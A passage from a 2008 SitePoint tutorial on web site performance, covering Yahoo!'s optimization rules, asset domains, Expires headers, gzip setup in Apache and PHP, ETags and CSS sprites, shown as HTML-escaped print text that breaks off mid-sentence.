/&gt;1. Make fewer HTTP requests&lt;br /&gt;2. Use a Content Delivery Network&lt;br /&gt;3. Add an Expires header&lt;br /&gt;4. Gzip components&lt;br /&gt;5. Put [4] at the top&lt;br /&gt;6. Move scripts to the bottom&lt;br /&gt;Web Site Optimization: 13 Simple Steps&lt;br /&gt;Apache&lt;br /&gt;PHP&lt;br /&gt;CSS&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;2 of 17 2/17/2008 11:56 PM&lt;br /&gt;7. Avoid CSS expressions&lt;br /&gt;8. Make [5] and CSS external&lt;br /&gt;9. Reduce [6] lookups&lt;br /&gt;10. Minify JavaScript&lt;br /&gt;11. Avoid redirects&lt;br /&gt;12. Remove duplicate scripts&lt;br /&gt;13. Configure ETags&lt;br /&gt;You can read about these rules on the Yahoo! Developer Network [7] site. You can also check out the book "High Performance&lt;br /&gt;Web Sites" by Steve Souders [8], and the performance research articles on the YUI blog by Tenni Theurer [9].&lt;br /&gt;Basic Optimization Rules&lt;br /&gt;Decrease Download Sizes&lt;br /&gt;Decreasing download sizes isn't even in Yahoo!'s list of rules -- probably because it's so obvious. However I don't think it hurts&lt;br /&gt;to reiterate the point -- let's call it Rule #0.&lt;br /&gt;When we look at a simple web page we see:&lt;br /&gt;some HTML code&lt;br /&gt;different page components (assets) referenced by the HTML&lt;br /&gt;The assets are images, scripts, styles, and perhaps some external media such as [10] movies or [11] applets&lt;br /&gt;(remember those?). So, when it comes to download sizes, you should aim to have all the assets as lightweight as possible --&lt;br /&gt;advice which also extends to the page's HTML content. Creating lean HTML code often means using better (semantic)&lt;br /&gt;markup, which also overlaps with the [12] (search engine optimization) efforts that are a necessary part of the site&lt;br /&gt;creation process. As most professional web developers know, a key characteristic of good markup is that it only describes the&lt;br /&gt;content, not the presentation of the page (no layout tables!). Any layout or presentational elements should be moved to CSS.&lt;br /&gt;Here's an example of a good approach to HTML markup for a navigation menu:&lt;br /&gt;&lt;ul id="menu"&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="home.html"&gt;Home&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="about.html"&gt;About&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="contact.html"&gt;Contact&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;This sort of markup should provide "hooks" to allow for the effective use of CSS and make the menu look however you want it&lt;br /&gt;to -- whether that means adding fancy bullets, borders, or rollovers, or placing the menu items into a horizontal menu. The&lt;br /&gt;markup is minimal, which means there are fewer bytes to download; it's semantic, meaning it describes the content (a&lt;br /&gt;navigation menu is a list of links); and finally, being minimal, it also gives you an SEO advantage: it's generally agreed that&lt;br /&gt;search engines prefer a higher content-to-markup ratio in the pages that they index.&lt;br /&gt;Once you're sure your markup is lightweight and semantic, you should go through your assets and make sure they are also of&lt;br /&gt;minimal size. For example, check whether it's possible to compress images more without losing too much quality, or to choose&lt;br /&gt;a different file format that gives you better compression. Tools such as PNGOUT [13] and pngcrush [14] are a good place to&lt;br /&gt;start.&lt;br /&gt;JavaScript&lt;br /&gt;DNS&lt;br /&gt;Flash Java&lt;br /&gt;SEO&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;3 of 17 2/17/2008 11:56 PM&lt;br /&gt;Make Fewer HTTP Requests&lt;br /&gt;Making fewer HTTP requests turns out to be the most important optimization technique, with the biggest impact [15]. If your&lt;br /&gt;time is limited, and you can only complete one optimization task, pick this one. HTTP requests are generally the most&lt;br /&gt;"expensive" activity that the browser performs while displaying your page. Therefore, you should ensure that your page makes&lt;br /&gt;as few requests as possible.&lt;br /&gt;How you can go about that, while maintaining the richness of your pages?&lt;br /&gt;Combine scripts and style sheets: Do you have a few &lt;script&gt; tags in your head? Well, merge the .js files&lt;br /&gt;into one and save your visitors some round trips; then do the same with the CSS files.&lt;br /&gt;Use image sprites: This technique allows you to combine several images into one and use CSS to show only the part&lt;br /&gt;of the image that's needed. When you combine five or ten images into a single file, already you're making a huge saving&lt;br /&gt;in the request/response overhead [16].&lt;br /&gt;Avoid redirects: a redirect adds another client-server round trip, so instead of processing your page immediately&lt;br /&gt;after receiving the initial response, the browser will have to make another request and wait for the second response.&lt;br /&gt;Avoid frames: if you use frames, the browser has to request at least three HTML pages, instead of just one -- those of&lt;br /&gt;the frameset as well as each of the frames.&lt;br /&gt;You've got the basics now. In summary, make your page and its assets smaller in size, and use fewer assets by combining them&lt;br /&gt;wherever you can. If you concentrate on this aspect of optimization only, you and your visitors will notice a significant&lt;br /&gt;improvement.&lt;br /&gt;Now let's explore some of the Yahoo! recommendations in more detail, and see what other optimizations can be made to&lt;br /&gt;improve performance.&lt;br /&gt;Optimizing Assets&lt;br /&gt;Use a Content Delivery Network&lt;br /&gt;A Content Delivery Network (CDN) [17] is a network of servers in different geographical locations. Each server has a copy of a&lt;br /&gt;site's files. When a visitor to your site requests a file, the file is delivered from the nearest server (or the one that's&lt;br /&gt;experiencing the lightest load at the time).&lt;br /&gt;This setup can have a significant impact on your page's overall performance, but unfortunately, using a CDN can be pricey. As&lt;br /&gt;such, it's probably not something you'd do for a personal blog, but it may be useful when a client asks you to build a site that's&lt;br /&gt;likely to experience high volumes of traffic. Some of the most widely known CDN providers are Akamai [18] and Amazon,&lt;br /&gt;through its S3 service [19].&lt;br /&gt;There are some non-profit CDNs in the market; check the CDN Wikipedia article [20] to see if your project might qualify to&lt;br /&gt;use one of them. For example, one free non-profit peer-to-peer CDN is Coral CDN [21], which is extremely easy to integrate&lt;br /&gt;with your site. For this CDN, you take a URL and append "nyud.net" to the hostname. Here's an example:&lt;br /&gt;http://example.org/logo. [22]&lt;br /&gt;becomes:&lt;br /&gt;http://example.org.nyud.net/logo.png&lt;br /&gt;Host Assets on Different Domains but Reduce DNS Lookups&lt;br /&gt;After your visitor's browser has downloaded the HTML for a page and figured out that a number of components are also&lt;br /&gt;needed, it begins downloading those components. Browsers restrict the number of simultaneous downloads that can take&lt;br /&gt;place [23]; as per the HTTP/1.1 specification, the limit is two assets per domain.&lt;br /&gt;png&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;4 of 17 2/17/2008 11:56 PM&lt;br /&gt;Because this restriction exists on a per-domain basis, you can use several domains (or simply use subdomains) to host your&lt;br /&gt;assets, thus increasing the number of parallel downloads. Most shared hosts will allow you to create subdomains. Even if your&lt;br /&gt;host places a limit on the number of subdomains you can create (some restrict you to a maximum of five), it's not that&lt;br /&gt;important, as you won't need to utilize too many subdomains to see some noticeable performance improvements.&lt;br /&gt;However, as Rule #9 [24] states, you should also reduce the number of DNS lookups, because these can also be expensive. For&lt;br /&gt;every domain or subdomain that hosts a page asset, the browser will need to make a DNS lookup. So the more domains you&lt;br /&gt;have, the more your site will be slowed down by DNS lookups. Yahoo!'s research suggests that two to four domains is an&lt;br /&gt;optimal number, but you can decide for yourself what's best for your site.&lt;br /&gt;As a general guideline, I'd suggest you use one domain to host HTML pages and two other domains for your assets. Here's an&lt;br /&gt;example:&lt;br /&gt;www.sitepoint.com - hosts only HTML (and maybe content images)&lt;br /&gt;i1.sitepoint.com - hosts JS, CSS, and some images&lt;br /&gt;i2.sitepoint.com - hosts most of the site's images&lt;br /&gt;Different hosting providers will probably offer different interfaces for creating subdomains, and ideally they should provide&lt;br /&gt;you with an option to specify the directory that holds the files for the subdomain. For example, if your canonical domain is&lt;br /&gt;www.sitepoint.com, and it points to /home/sitepoint/htdocs, ideally you should be able to create the subdomain&lt;br /&gt;i1.sitepoint.com (either via an administration control panel or by creating a symbolic link in the file system) and point it to the&lt;br /&gt;same folder, /home/sitepoint/htdocs. This way, you can keep all files in the same location, just as they are in your&lt;br /&gt;development environment, but reference them using a subdomain.&lt;br /&gt;However, some hosts may prevent you from creating subdomains, or may restrict your ability to point to particular locations&lt;br /&gt;on the file system. In such cases, your only real options is to physically copy the assets to the new location. Don't be tempted&lt;br /&gt;to create some kind of redirect in this case -- it will only make things worse, as it creates two requests for each image.&lt;br /&gt;If your hosting provider doesn't allow subdomains at all, you always have the option of buying more domains and using them&lt;br /&gt;purely to host assets -- after all, that's what a lot of big sites do. Yahoo! uses the domain yimg.com, Amazon has&lt;br /&gt;images-amazon.com, and SitePoint has sitepointstatic.com. If you own several sites, or manage the hosting of your client's&lt;br /&gt;sites, you might consider buying two domains, such as yourdomain-i1.com and yourdomain-i2.com, and using them to host&lt;br /&gt;the components for all the sites you maintain.&lt;br /&gt;Place Assets on a [25]-free Domain&lt;br /&gt;If you set a lot of [26], the request headers for your pages will increase in size, since those cookies are sent with each&lt;br /&gt;request. Additionally, your assets probably don't use the cookies, so all of this information could be repeatedly sent to the&lt;br /&gt;client for no reason. Sometimes, those headers may even be bigger than the size of the asset requested -- these are extreme&lt;br /&gt;cases of course, but it happens. Consider downloading those small icons or smilies that are less than half a kB, and requesting&lt;br /&gt;them with 1kB worth of HTTP headers.&lt;br /&gt;If you use subdomains to host your assets, you need to make sure that the cookies you set are for your canonical domain name&lt;br /&gt;(e.g. www.example.org) and not for the top-level domain name (e.g. example.org). This way, your asset subdomains will be&lt;br /&gt;cookie-free. If you're attempting to improve the performance of an existing site, and you've already set your cookies on the&lt;br /&gt;top-level domain, you could consider the option of hosting assets on new domains, rather than subdomains.&lt;br /&gt;Split the Assets Among Domains&lt;br /&gt;It's completely up to you which assets you decide to host on i1.example.org and which you decide to host on i2.example.org --&lt;br /&gt;there's no clear directive on this point. Just make sure you don't randomize the domain on each request, as this will cause the&lt;br /&gt;same assets to be downloaded twice -- once from i1 and once from i2.&lt;br /&gt;You could aim to split your assets evenly by file size, or by some other criterion that makes sense for your pages. You may also&lt;br /&gt;choose to put all content images (those that are included in your HTML with &lt;img /&gt; tags) on i1 and all layout images&lt;br /&gt;(those referenced by CSS's background-image:url()) on i2, although in some cases this solution may not be optimal.&lt;br /&gt;Cookie&lt;br /&gt;cookies&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;5 of 17 2/17/2008 11:56 PM&lt;br /&gt;In such cases, the browser will download and process the CSS files and then, depending on which rules need to be applied,&lt;br /&gt;will selectively download only images that are needed by the style sheet [27]. The result is that the images referenced by CSS&lt;br /&gt;may not download immediately, so the load on your asset servers may not be balanced.&lt;br /&gt;The best way to decide on splitting assets is by experimentation; you can use Firebug [28]'s Net panel to monitor the sequence&lt;br /&gt;in which assets download, then decide how you should spread components across domains in order to speed up the download&lt;br /&gt;process.&lt;br /&gt;Configure DNS Lookups on Forums and Blogs&lt;br /&gt;Since you should aim to have no more than four DNS lookups per page, it may be tricky to integrate third-party content such&lt;br /&gt;as Flickr images or ads that are hosted on a third-party server. Also, hotlinking images (by placing on your page an &lt;img /&gt;&lt;br /&gt;tag whose src attribute points to a file on another person's server) not only steals [29] from the other site, but&lt;br /&gt;also harms your own page's performance, causing an extra DNS lookup.&lt;br /&gt;If your site contains user-generated content (as do forums, for example), you can't easily prevent multiple DNS lookups, since&lt;br /&gt;users could potentially post images located anywhere on the Web. You could write a script that copies each image from a&lt;br /&gt;user's post to your server, but that approach can get fairly complicated.&lt;br /&gt;Aim for the low-hanging fruit. For example, in the phpBB forum software [30], you can configure whether users need to&lt;br /&gt;hotlink their avatar images or upload them to your server. In this case, uploaded avatars will result in better performance for&lt;br /&gt;your site.&lt;br /&gt;Use the Expires Header&lt;br /&gt;For best performance, your static assets should be exactly that: static. This means that there should be no dynamically&lt;br /&gt;generated scripts or styles, or &lt;img&gt; tags pointing to scripts that generate dynamic images. If you had such a need -- for&lt;br /&gt;example, you wanted to generate a graphic containing your visitor's username -- the dynamic generation could be taken&lt;br /&gt;"offline" and the result cached as a static image. In this example, you could generate the image once, when the member signs&lt;br /&gt;up. You could then store the image on the file system, and write the path to the image in your database. An alternative&lt;br /&gt;approach might involve scheduling an automated process (a cron job, in [31]) that generates dynamic components and&lt;br /&gt;saves them as static files.&lt;br /&gt;Having assets that are entirely static allows you to set the Expires header for those files to a date that is far in the future, so&lt;br /&gt;that when an asset is downloaded once, it's cached by the browser and never requested again (or at least not for a very long&lt;br /&gt;time, as we'll see in a moment).&lt;br /&gt;Setting the Expires header in Apache is easy: add an .htaccess file that contains the following directives to the root&lt;br /&gt;folder of your i1 and i2 subdomains:&lt;br /&gt;ExpiresActive On&lt;br /&gt;ExpiresDefault "modification plus 10 years"&lt;br /&gt;The first of these directives enables the generation of the Expires header. The second sets the expiration date to 10 years&lt;br /&gt;after the file's modification date, which translates to 10 years after you copied the file to the server. You could also use the&lt;br /&gt;setting "access plus 10 years", which will expire the file 10 years after the user requests the file for the first time.&lt;br /&gt;If you want, you can even set an expiration date per file type:&lt;br /&gt;ExpiresActive On&lt;br /&gt;ExpiresByType application/x-javascript "modification plus 2 years"&lt;br /&gt;ExpiresByType text/css "modification plus 5 years"&lt;br /&gt;For more information, check the Apache documentation on mod_expires [32].&lt;br /&gt;Name Assets&lt;br /&gt;bandwidth&lt;br /&gt;UNIX&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;6 of 17 2/17/2008 11:56 PM&lt;br /&gt;The problem with the technique that we just looked at (setting the Expires header to a date that's far into the future)&lt;br /&gt;occurs when you want to modify an asset on that page, such as an image. If you just upload the changed image to your web&lt;br /&gt;server, new visitors will receive the updated image, but repeat visitors won't. They'll see the old cached version, since you've&lt;br /&gt;already instructed their browser never to ask for this image again.&lt;br /&gt;The solution is to modify the asset's name -- but it comes with some maintenance hurdles. For example, if you have a few CSS&lt;br /&gt;definitions pointing to img.png, and you modify the image and rename it to img2.png, you'll have to locate all the points&lt;br /&gt;in your style sheets at which the file has been referenced, and update those as well. For bigger projects, you might consider&lt;br /&gt;writing a tool to do this for you automatically.&lt;br /&gt;You'll need to come up with a naming convention to use when naming your assets. For example, you might:&lt;br /&gt;Append an epoch timestamp to the file name, e.g. img_1185403733.png.&lt;br /&gt;Use the version number from your source control system (cvs or svn for example), e.g. img_1.1.png.&lt;br /&gt;Manually increment a number in the file name (e.g. when you see a file named img1.png, simply save the modified&lt;br /&gt;image as img2.png).&lt;br /&gt;There's no one right answer here -- your decision will be depend on your personal preference, the specifics of your pages, the&lt;br /&gt;size of the project and your team, and so on.&lt;br /&gt;If you use CVS, here's a little PHP function that can help you extract the version from a file stored in CVS:&lt;br /&gt;function getVersion($file) {&lt;br /&gt;$cmd = 'cvs log -h %s';&lt;br /&gt;$cmd = sprintf($cmd, $file);&lt;br /&gt;exec($cmd, $res);&lt;br /&gt;$version = trim(str_replace('head: ', '', $res[3]));&lt;br /&gt;return $version;&lt;br /&gt;}&lt;br /&gt;// example use&lt;br /&gt;$file = 'img.png';&lt;br /&gt;$new_file = 'img_' . getVersion($file) . '.png';&lt;br /&gt;Serve gzipped Content&lt;br /&gt;Most modern browsers understand gzipped (compressed) content, so a well-performing page should aim to serve all of its&lt;br /&gt;content compressed. Since most images, swf files and other media files are already compressed, you don't need to worry about&lt;br /&gt;compressing them.&lt;br /&gt;You do, however, need to take care of serving compressed HTML, CSS, client-side scripts, and any other type of text content.&lt;br /&gt;If you make XMLHttpRequests to services that return [33] (or JSON, or plain text), make sure your server gzips this&lt;br /&gt;content as well.&lt;br /&gt;If you open the Net panel in Firebug (or use LiveHTTPHeaders [34] or some other packet sniffer), you can verify that the&lt;br /&gt;content is compressed by looking for a Content-Encoding header in the response, as shown in the following example:&lt;br /&gt;Example request:&lt;br /&gt;GET /2.2.2/build/utilities/utilities.js HTTP/1.1&lt;br /&gt;Host: yui.yahooapis.com&lt;br /&gt;User-Agent: [35]/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5)&lt;br /&gt;XML&lt;br /&gt;Mozilla&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;7 of 17 2/17/2008 11:56 PM&lt;br /&gt;Gecko/20070713 [36]/2.0.0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Example response:&lt;br /&gt;HTTP/1.x 200 OK&lt;br /&gt;Last-Modified: Wed, 18 Apr 2007 17:36:33 GMT&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;Content-Type: application/x-javascript&lt;br /&gt;Content-Encoding: gzip&lt;br /&gt;[37]-Control: max-age=306470616&lt;br /&gt;Expires: Sun, 16 Apr 2017 00:01:52 GMT&lt;br /&gt;Date: Mon, 30 Jul 2007 21:18:16 GMT&lt;br /&gt;Content-Length: 22657&lt;br /&gt;Connection: keep-alive&lt;br /&gt;In this request, the browser informed the server that it understands gzip and deflate encodings (Accept-Encoding:&lt;br /&gt;gzip,deflate) and the server responded with gzip-encoded content (Content-Encoding: gzip).&lt;br /&gt;There's one gotcha when it comes to serving gzipped content: you must make sure that proxies do not get in your way. If an&lt;br /&gt;ISP's proxy caches your gzipped content and serves it to all of its customers, chances are that someone with a browser that&lt;br /&gt;doesn't support compression will receive your compressed content.&lt;br /&gt;To avoid this you can use the Vary: Accept-Encoding response header to tell the proxy to cache this response only&lt;br /&gt;for clients that send the same Accept-Encoding request header. In the example above, the browser said it supports gzip and&lt;br /&gt;deflate, and the server responded with some extra information for any proxy between the server and client, saying that&lt;br /&gt;gzip-encoded content is okay for any client that sends the same Accept-Encoding content.&lt;br /&gt;There is one additional problem here: some browsers (IE 5.5, IE 6 SP 1, for instance) claim they support gzip, but can actually&lt;br /&gt;experience problems reading it (as described on the Microsoft downloads site [38], and the support site [39]). If you care&lt;br /&gt;about people using these browsers (they usually account for less than 1% of a site's visitors) you can use a different header --&lt;br /&gt;Cache-Control: Private -- which eliminates proxy [40] completely. Another way to prevent proxy caching&lt;br /&gt;is to use the header Vary: *.&lt;br /&gt;To gzip or to Deflate?&lt;br /&gt;If you're confused by the two Accept-Encoding values that browsers send, think of deflate as being just another method&lt;br /&gt;for encoding content that's less popular among browsers. It's also less efficient, so gzip is preferred.&lt;br /&gt;Make Sure you Send gzipped Content&lt;br /&gt;Okay, now let's see what you can do to start serving gzipped content in accordance with what your host allows.&lt;br /&gt;Option 1: mod_gzip for Apache Versions Earlier than 2&lt;br /&gt;If you're using Apache 1.2 and 1.3, the mod_gzip module [41] is available. To verify the Apache version, you can check&lt;br /&gt;Firebug's Net panel and look for the Server response header of any request. If you can't see it, check you provider's&lt;br /&gt;documentation or create a simple PHP script to echo this information to the browser, like so:&lt;br /&gt;&lt;?php echo apache_get_version(); ?&gt;&lt;br /&gt;In the Server header signature, you might also be able to see the mod_gzip version, if it's installed. It might look like&lt;br /&gt;something like this:&lt;br /&gt;Server: Apache/1.3.37 (Unix) mod_gzip/1.3.26.1a.....&lt;br /&gt;Firefox&lt;br /&gt;Cache&lt;br /&gt;caching&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;8 of 17 2/17/2008 11:56 PM&lt;br /&gt;Okay, so we've established that we want to compress all text content, PHP script output, static HTML pages, JavaScripts and&lt;br /&gt;style sheets before sending them to the browser. To implement this with mod_gzip, create in the root directory of your site an&lt;br /&gt;.htaccess file that includes the following:&lt;br /&gt;mod_gzip_on Yes&lt;br /&gt;mod_gzip_item_include mime ^application/x-javascript$&lt;br /&gt;mod_gzip_item_include mime ^application/json$&lt;br /&gt;mod_gzip_item_include mime ^text/.*$&lt;br /&gt;mod_gzip_item_include file \.html$&lt;br /&gt;mod_gzip_item_include file \.php$&lt;br /&gt;mod_gzip_item_include file \.js$&lt;br /&gt;mod_gzip_item_include file \.css$&lt;br /&gt;mod_gzip_item_include file \.txt$&lt;br /&gt;mod_gzip_item_include file \.xml$&lt;br /&gt;mod_gzip_item_include file \.json$&lt;br /&gt;Header append Vary Accept-Encoding&lt;br /&gt;The first line enables mod_gzip. The next three lines set compression based on MIME-type. The next section does the same&lt;br /&gt;thing, but on the basis of file extension. The last line sets the Vary header to include the Accept-Encoding value.&lt;br /&gt;If you want to send the Vary: * header, use:&lt;br /&gt;Header set Vary *&lt;br /&gt;Note that some hosting providers will not allow you to use the Header directive. If this is the case, hopefully you should be&lt;br /&gt;able to substitute the last line with this one:&lt;br /&gt;mod_gzip_send_vary On&lt;br /&gt;This will also set the Vary header to Accept-Encoding.&lt;br /&gt;Be aware that there might be a minimum size condition on gzip, so if your files are too small (less than 1kb, for example), they&lt;br /&gt;might not be gzipped even though you've configured everything correctly. If this problem occurs, your host has decided that&lt;br /&gt;the gzipping process overhead is unnecessary for very small files.&lt;br /&gt;Option 2: mod_deflate for Apache 2.0&lt;br /&gt;If your host runs Apache 2 you can use mod_deflate. Despite its name, mod_deflate also uses gzip compression. To configure&lt;br /&gt;mod_deflate, add the following directives to your .htaccess file:&lt;br /&gt;AddOutputFilterByType DEFLATE text/html text/css text/plain text/xml&lt;br /&gt;application/x-javascript application/json&lt;br /&gt;Header append Vary Accept-Encoding&lt;br /&gt;Option 3: php.ini&lt;br /&gt;Ideally we'd like Apache to handle the gzipping of content, but unfortunately some hosting providers might not allow it. If&lt;br /&gt;your hosting provider is one of these, it might allow you to use custom php.ini files. If you place a php.ini file in a&lt;br /&gt;directory, it overwrites PHP configuration settings for this directory and its subdirectories.&lt;br /&gt;If you can't use Apache's mod_gzip or mod_deflate modules, you might still be able to compress your content using PHP. In&lt;br /&gt;order for this solution to work, you'll have to configure your web server so that all static HTML, JavaScript and CSS files are&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;9 of 17 2/17/2008 11:56 PM&lt;br /&gt;processed by PHP. This means more overhead for the server, but depending on your host, it might be your only option.&lt;br /&gt;Add the following directives in your .htaccess file:&lt;br /&gt;AddHandler application/x-httpd-php .css&lt;br /&gt;AddHandler application/x-httpd-php .html&lt;br /&gt;AddHandler application/x-httpd-php .js&lt;br /&gt;This will ensure that PHP will process these (otherwise static) files. If it doesn't work, you can try renaming the files to have a&lt;br /&gt;.php extension (like example.js.php, and so on) to achieve the same result.&lt;br /&gt;Now create a php.ini file in the same directory with the following content:&lt;br /&gt;[PHP]&lt;br /&gt;zlib.output_compression = On&lt;br /&gt;zlib.output_compression_level = 6&lt;br /&gt;auto_prepend_file = "pre.php"&lt;br /&gt;short_open_tag = 0&lt;br /&gt;This enables compression and sets the compression level to 6. Values for the compression level range from 0 to 9, where 9 is&lt;br /&gt;the best (and slowest) compression. The last line sets up a file called pre.php to be executed at the beginning of every&lt;br /&gt;script, as if you had typed &lt;?php include "pre.php"; ?&gt; at the top of every script. You'll need this file in order to&lt;br /&gt;set Content-Type headers, because some browsers might not like it when you send a CSS file that has, for example, a&lt;br /&gt;text/html content type header.&lt;br /&gt;The short_open_tag setting is there to disable PHP short tags (&lt;? ... ?&gt;, as compared to &lt;?php ... ?&gt;). This&lt;br /&gt;is important because PHP will attempt to treat the &lt;?xml tag in your HTML as PHP code.&lt;br /&gt;Finally, create the file pre.php with the following content:&lt;br /&gt;&lt;?php&lt;br /&gt;$path = pathinfo($_SERVER['SCRIPT_NAME']);&lt;br /&gt;if ($path['extension'] == 'css') {&lt;br /&gt;header('Content-type: text/css');&lt;br /&gt;}&lt;br /&gt;if ($path['extension'] == 'js') {&lt;br /&gt;header('Content-type: application/x-javascript');&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;This script will be executed before every file that has a .php, .html, .js or .css file extension. For HTML and PHP files,&lt;br /&gt;the default Content-Type text/html is okay, but for JavaScript and CSS files, we change it using PHP's header&lt;br /&gt;function.&lt;br /&gt;Option 3 (Variant 2): PHP Settings in .htaccess&lt;br /&gt;If your host allows you to set PHP settings in your .htaccess file, then you no longer need to use php.ini file to&lt;br /&gt;configure your compression settings. Instead, set the PHP setting in .htaccess using php_value (and php_flag).&lt;br /&gt;Looking at the modified example from above, we would have the same pre.php file, no php.ini file, and a modified&lt;br /&gt;.htaccess that contained the following directives:&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;10 of 17 2/17/2008 11:56 PM&lt;br /&gt;AddHandler application/x-httpd-php .css&lt;br /&gt;AddHandler application/x-httpd-php .html&lt;br /&gt;AddHandler application/x-httpd-php .js&lt;br /&gt;php_flag zlib.output_compression on&lt;br /&gt;php_value zlib.output_compression_level 6&lt;br /&gt;php_value auto_prepend_file "pre.php"&lt;br /&gt;php_flag short_open_tag off&lt;br /&gt;Option 4: In-script Compression&lt;br /&gt;If your hosting provider doesn't allow you to use php_value in your .htaccess file, nor do they allow you to use a&lt;br /&gt;custom php.ini file, your last resort is to modify the scripts to manually include the common pre.php file that will take&lt;br /&gt;care of the compression. This is the least-preferred option, but sometimes you may have no other alternative.&lt;br /&gt;If this is your only option, you'll either be using an .htaccess file that contains the directives outlined in Option 3 above,&lt;br /&gt;or you'll have had to rename every .js and .css file (and .xml, .html, etc.) to have a .php extension. At the top of&lt;br /&gt;every file, add &lt;?php include "pre.php"; ?&gt; and create a file called pre.php that contains the following&lt;br /&gt;content:&lt;br /&gt;&lt;?php&lt;br /&gt;ob_start("ob_gzhandler");&lt;br /&gt;$path = pathinfo($_SERVER['SCRIPT_NAME']);&lt;br /&gt;if ($path['extension'] == 'css') {&lt;br /&gt;header('Content-type: text/css');&lt;br /&gt;}&lt;br /&gt;if ($path['extension'] == 'js') {&lt;br /&gt;header('Content-type: application/x-javascript');&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;As I indicated, this is the least favorable option of all -- you should try Option 1 or 2 first, and if they don't work, consider&lt;br /&gt;Option 3 or 4, or a combination of both, depending on what your host allows.&lt;br /&gt;Once you've established the degree of freedom your host permits, you can use the technique that you've employed to compress&lt;br /&gt;your static files to implement all of your Apache-related settings. For example, earlier I showed you how to set the Expires&lt;br /&gt;header. Well, guess what? Some hosts won't allow it. If you find yourself in this situation, you can use PHP's header function&lt;br /&gt;to set the Expires header from your PHP script.&lt;br /&gt;To do so, you might add to your pre.php file something like this:&lt;br /&gt;&lt;?php&lt;br /&gt;header("Expires: Mon, 25 Dec 2017 05:00:00 GMT");&lt;br /&gt;?&gt;&lt;br /&gt;Disable ETags&lt;br /&gt;Compared to the potential hassles that can be encountered when implementing the rule above, the application of this rule is&lt;br /&gt;very easy. You just need to add the following to your .htaccess file:&lt;br /&gt;FileETags none&lt;br /&gt;Note that this rule applies to sites that are in a server farm. If you're using a shared host, you could skip this step, but I&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;11 of 17 2/17/2008 11:56 PM&lt;br /&gt;recommend that you do it regardless because:&lt;br /&gt;Hosts change their machines for internal purposes.&lt;br /&gt;You may change hosts.&lt;br /&gt;It's so simple.&lt;br /&gt;Use CSS Sprites&lt;br /&gt;Using a technique known as CSS sprites, you can combine several images into a single image, then use the CSS&lt;br /&gt;background-position property to show only the image you need. The technique is not intended for use with content images&lt;br /&gt;(those that appear in the HTML in &lt;img /&gt; tags, such as photos in a photo gallery), but is intended for use with ornamental&lt;br /&gt;and decorative images. These images will not affect the fundamental [42] of the page, and are usually referenced&lt;br /&gt;from a style sheet in order to keep the HTML lean (Rule #0).&lt;br /&gt;Let's look at an example. We'll take two images. The first is help.png; the second is rss.png. From these, we'll create a&lt;br /&gt;third image, sprite.png, which contains both images.&lt;br /&gt;The resulting image is often smaller in size than the sum of the two files' sizes, because the overhead associated with an image&lt;br /&gt;file is included only once. To display the first image, we'd use the following CSS rule:&lt;br /&gt;#help {&lt;br /&gt;background-image: url(sprite.png);&lt;br /&gt;background-position: -8px -8px;&lt;br /&gt;width: 16px;&lt;br /&gt;height: 16px;&lt;br /&gt;}&lt;br /&gt;To display the second image, we'd use the following rule:&lt;br /&gt;#rss {&lt;br /&gt;background-image: url(sprite.png);&lt;br /&gt;background-position: -8px -40px;&lt;br /&gt;width: 16px;&lt;br /&gt;height: 16px;&lt;br /&gt;}&lt;br /&gt;At first glance, this technique might look a bit strange, but it's really useful for decreasing the number of HTTP requests. The&lt;br /&gt;more images you combine this way, the better, because you're cutting the request overhead dramatically. For an example of&lt;br /&gt;this technique in use "in the wild", check out this image, used on Yahoo!'s homepage [43], or this one from Google's [44].&lt;br /&gt;In order to produce sprite images quickly, without having to calculate pixel coordinates, feel free to use the CSS Sprites&lt;br /&gt;Generator [45] tool that I've developed. And for more information about CSS sprites, be sure to read Dave Shea's article, titled&lt;br /&gt;CSS Sprites: Image Slicing's Kiss of Death [46].&lt;br /&gt;Use Post-load Pre-loading and Inline Assets&lt;br /&gt;If you're a responsible web developer, you're probably already adhering to the separation of concerns [47] and using HTML&lt;br /&gt;usability&lt;br /&gt;Web Site Optimization: 13 Simple Steps http://www.sitepoint.com/print/web-site-optimization-steps&lt;br /&gt;12 of 17 2/17/2008 11:56 PM&lt;br /&gt;for your content, CSS for presentation and JavaScript for behavior. While these distinct parts of a page should be kept in&lt;br /&gt;separate files at all times, for performance reasons you might sometimes consider breaking the rule on your index (home)&lt;br /&gt;page. The homepage should always be the fastest page on your site -- many first-time visitors may leave your site, no matter&lt;br /&gt;what content it contains, if they find the homepage slow to load.&lt;br /&gt;When a visitor arrives at your homepage with an empty cache, the fastest way to deliver the page [48] is to have only one&lt;br /&gt;request and no separate components. This means having scripts and styles inline (gasp)! It's actually possible to have inline&lt;br /&gt;images as well (although it's not supported in [49] but that's probably taking things too far. Apart from being semantically&lt;br /&gt;incorrect, using inline scripts and styles prevents those components from being cached, so a good strategy will be to load&lt;br /&gt;components in the background after the 